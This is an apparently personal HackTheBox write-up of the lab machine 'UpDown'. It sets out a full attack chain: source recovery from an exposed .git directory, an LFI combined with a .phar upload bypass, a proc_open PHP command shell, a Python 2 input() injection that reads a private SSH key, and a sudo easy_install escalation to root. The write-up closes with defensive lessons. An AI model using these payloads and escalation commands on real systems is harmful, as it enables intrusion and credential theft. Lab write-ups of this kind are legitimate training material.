HTB: UpDown Writeup

UpDown - HackTheBox Writeup

Machine Information

AttributeDetails
NameUpDown
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.215
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

UpDown presents a simple “is this site up?” checker web app on port 80, but the real attack surface lives on a hidden dev vhost that’s only reachable with a magic HTTP header pulled from a leaked .git repository. That dev site turns out to have a file-upload feature that “blacklists” dangerous extensions but forgets about .phar, combined with a page parameter vulnerable to Local File Inclusion. Chaining the two via the phar:// stream wrapper gets arbitrary PHP execution even with system()/shell_exec() disabled, by falling back to proc_open(). From there, a SUID Python 2 script that calls the insecure input() builtin hands over a shell as developer, and a passwordless sudo entry on easy_install finishes the job as root.

TL;DR: nmap (22, 80) → vhost fuzzing finds dev.siteisup.htb (403) → /dev/.git exposed → git-dumper source dump reveals .htaccess requiring Special-Dev: only4dev header → LFI in index.php (include($_GET['page'].".php")) → upload bypass via .phar (blacklist misses it) → phar:// wrapper triggers code execution → system/shell_exec disabled, but proc_open works → reverse-shell-equivalent command execution as www-data → SUID Python2 script siteisup vulnerable to input()-as-eval() → shell as developer → dump id_rsa, SSH in → sudo -l shows passwordless easy_install → GTFOBins easy_install privesc → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan against the target
nmap -sC -sV -T4 -p- 10.129.43.215

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — Apache, hosting a “site up checker” web app tied to the domain siteisup.htb

Service Enumeration

The root site on port 80 is siteisup.htb — a simple form that checks whether a given URL is reachable. Added the domain to /etc/hosts to browse it properly.

Vhost fuzzing against the Host header turned up a hidden subdomain:

Terminal window
# Fuzz vhosts; baseline "invalid" response size was 1131 bytes
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" \
-w /usr/share/wordlists/subdomains-1000.txt -fs 1131

This surfaced dev.siteisup.htb, which returned a 403 Forbidden — access was being blocked at the web-server config level rather than by a missing vhost, which meant something more than DNS was standing in the way.

Vulnerability Assessment

  1. Exposed .git directory — directory brute-forcing under /dev/ on the main vhost revealed a .git folder, meaning the dev site’s entire source tree could be pulled down with git-dumper:
Terminal window
# Dump the exposed git repo to recover the dev site's source
git-dumper http://siteisup.htb/dev/.git ./dev-dump
  1. Inside the dump, .htaccess explained the earlier 403: the dev vhost is gated behind a custom HTTP header, Special-Dev: only4dev. Requests without it are denied outright — this is why the vhost fuzz returned 403 instead of the actual app.

  2. index.php in the dump contained an unsanitized include():

$page = $_GET['page'];
if ($page && !preg_match("/bin|usr|home|var|etc/i", $page)) {
include($_GET['page'] . ".php");
} else {
include("checker.php");
}

The blacklist regex blocks path traversal into common system directories but does nothing to stop inclusion of arbitrary files that already sit under the webroot — a classic Local File Inclusion (LFI) primitive.

  1. checker.php implemented a file-upload “is this site up” checker. It blocked a long list of extensions (php, phtml, py, pl, html, zip, rar, gz, tar, …) but not .phar — a PHP archive format that PHP will still happily interpret via the phar:// stream wrapper. Combined with the LFI in index.php, this is a direct path to remote code execution.

Initial Foothold

Exploitation Path

With git-dumper output in hand, every request to the dev vhost needed the Special-Dev: only4dev header to get past .htaccess:

Terminal window
# Every request to the dev vhost must carry this header
curl -H "Special-Dev: only4dev" http://dev.siteisup.htb/

Since checker.php blocks .php/.phar-adjacent extensions in its extension filter but not .phar itself, a phar archive was built to smuggle a PHP payload past the blacklist. The critical constraint: the uploaded file’s bytes must start with PK (the zip/phar magic), or PHP’s phar detection fails with __HALT_COMPILER not found. That ruled out prepending any plaintext marker to the file — the payload had to stay a clean zip archive throughout.

<?php
// Command runner using proc_open — system()/shell_exec()/popen() were
// confirmed disabled via phpinfo() through the phar:// RCE, but proc_open was not.
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'a')
);
$cmd = $_GET['cmd'];
$process = proc_open($cmd, $descriptorspec, $pipes);
echo stream_get_contents($pipes[1]);
Terminal window
# Package as a phar-compatible zip, keeping the PK magic intact
zip payload.phar payload.php

Uploading the raw .phar directly and triggering it through the LFI:

Terminal window
curl -H "Special-Dev: only4dev" \
"http://dev.siteisup.htb/?page=phar://uploads/<uploaddir>/payload.phar/payload&cmd=id"

Two operational hurdles came up while getting this to land reliably:

  1. Upload cleanup race. checker.php calls @unlink($final_path) on the uploaded file right after processing it, and each upload lands in a fresh directory named uploads/md5(time())/. To catch the file mid-flight, a tarpit listener on LHOST:9000 was used as the “site to check” — since the app’s isitup() function blocks waiting on a response, feeding it a URL pointed at the tarpit stalled request processing for ~30 seconds, keeping the uploaded phar on disk long enough to hit it with the LFI. Diffing the uploads/ directory listing before and after each upload (stale, empty md5(time()) dirs persist from prior runs) pinpointed which directory held the live file.

  2. The phar’s file contents had to remain a valid zip archive — no extra header bytes — since PHP’s phar wrapper parses the zip structure directly; anything breaking the PK signature killed detection before the payload ever ran.

With proc_open confirmed working (via a phpinfo()-style probe through the same phar:// chain, which showed system, shell_exec, and popen disabled), arbitrary command execution as www-data was achieved.

Terminal window
cat /home/developer/user.txt

Privilege Escalation

www-data → developer

Enumerating /home/developer/ from the www-data shell revealed a dev/ directory group-owned by www-data, containing a SUID binary called siteisup alongside its source. The script used Python 2’s input() builtin to read a URL:

url = input("Enter URL here:")

In Python 2, input() evaluates its argument as a Python expression — functionally equivalent to eval(). Since the binary runs SUID as developer, feeding it a Python expression instead of a URL executes arbitrary code as that user:

Terminal window
# Non-interactive injection into the SUID binary's input() call
echo "__import__('os').system('cat /home/developer/.ssh/id_rsa')" | ./siteisup

This dumped developer’s private SSH key directly, which was used to log in over SSH for a stable foothold:

Terminal window
chmod 600 id_rsa
ssh -i id_rsa developer@10.129.43.215

developer → root

sudo -l as developer showed a passwordless entry for /usr/local/bin/easy_i[nstall] (Python’s package installer). Per GTFOBins, easy_install run under sudo does not drop privileges while executing the setup script of the package it “installs” — so a malicious local package spawns a shell as root:

Terminal window
# GTFOBins easy_install sudo escalation
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/local/bin/easy_install $TF

easy_install executes setup.py as part of the (fake) package build, and since the sudo rule doesn’t strip privileges from that child process, the shell spawned above runs as root.

Terminal window
cat /root/root.txt

Attack Chain Summary

nmap (22, 80) → vhost fuzz finds dev.siteisup.htb (403)
→ /dev/.git exposed → git-dumper source dump
→ .htaccess reveals Special-Dev: only4dev header requirement
→ LFI in index.php (include($_GET['page'].".php"))
→ checker.php extension blacklist misses .phar
→ phar:// wrapper + proc_open (system/shell_exec disabled) → RCE as www-data
→ SUID siteisup binary, Python2 input()-as-eval() → shell as developer
→ dump id_rsa → SSH as developer
→ sudo -l: passwordless easy_install → GTFOBins privesc → root

Tools Used

ToolPurpose
nmapPort scanning
ffufVhost fuzzing (Host header, filtered by response size)
git-dumperRecovering source from exposed .git directory
curlManual header-gated requests (Special-Dev: only4dev), triggering the LFI/phar RCE
zipBuilding the phar-compatible payload archive
nc (tarpit listener)Stalling isitup() to win the upload/unlink race
sshFoothold persistence as developer via dumped id_rsa
easy_install (GTFOBins)Passwordless sudo privilege escalation to root

Key Learnings

Techniques Practiced

  • Vhost discovery via Host-header fuzzing with response-size filtering
  • Recovering full source from an exposed .git directory
  • Reading .htaccess to recover a hidden auth mechanism (custom header gate)
  • LFI exploitation via PHP’s include() with a naive path blacklist
  • Extension-blacklist bypass using .phar + the phar:// stream wrapper for RCE
  • Working around disabled PHP dangerous functions (system, shell_exec, popen) by falling back to proc_open
  • Winning a file-upload/unlink race condition with a tarpit-style stalling technique
  • Exploiting Python 2’s input() as an implicit eval() in a SUID binary
  • GTFOBins-driven privilege escalation via sudo easy_install

Lessons Learned

  1. A 403 on a vhost doesn’t mean the vhost doesn’t exist — it can mean an .htaccess-level header gate, which a leaked .git repo can reveal directly.
  2. Extension blacklists are inherently incomplete; .phar is a commonly forgotten PHP-executable extension, and whitelisting is the safer control.
  3. Disabling system()/shell_exec()/popen() alone doesn’t prevent RCE — proc_open() offers equivalent capability and is often overlooked in “disabled_functions” hardening.
  4. Python 2’s input() is effectively eval() — never use it on untrusted input, especially in a SUID-privileged binary.
  5. Passwordless sudo on package-management tools like easy_install, pip, or npm is a full root-equivalent grant, since these tools execute arbitrary attacker-controlled code as part of “installation.”

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox official writeup for UpDown (15 July 2022, Document No. D22.100.192), prepared by woodenk & C4rm3l0, machine author AB2 — used here only for explanatory context on the .phar/phar:// RCE mechanics, the dfunc-bypasser disabled-function workaround, and the easy_install GTFOBins technique. All IPs, commands, and output shown above are from this run’s own solve.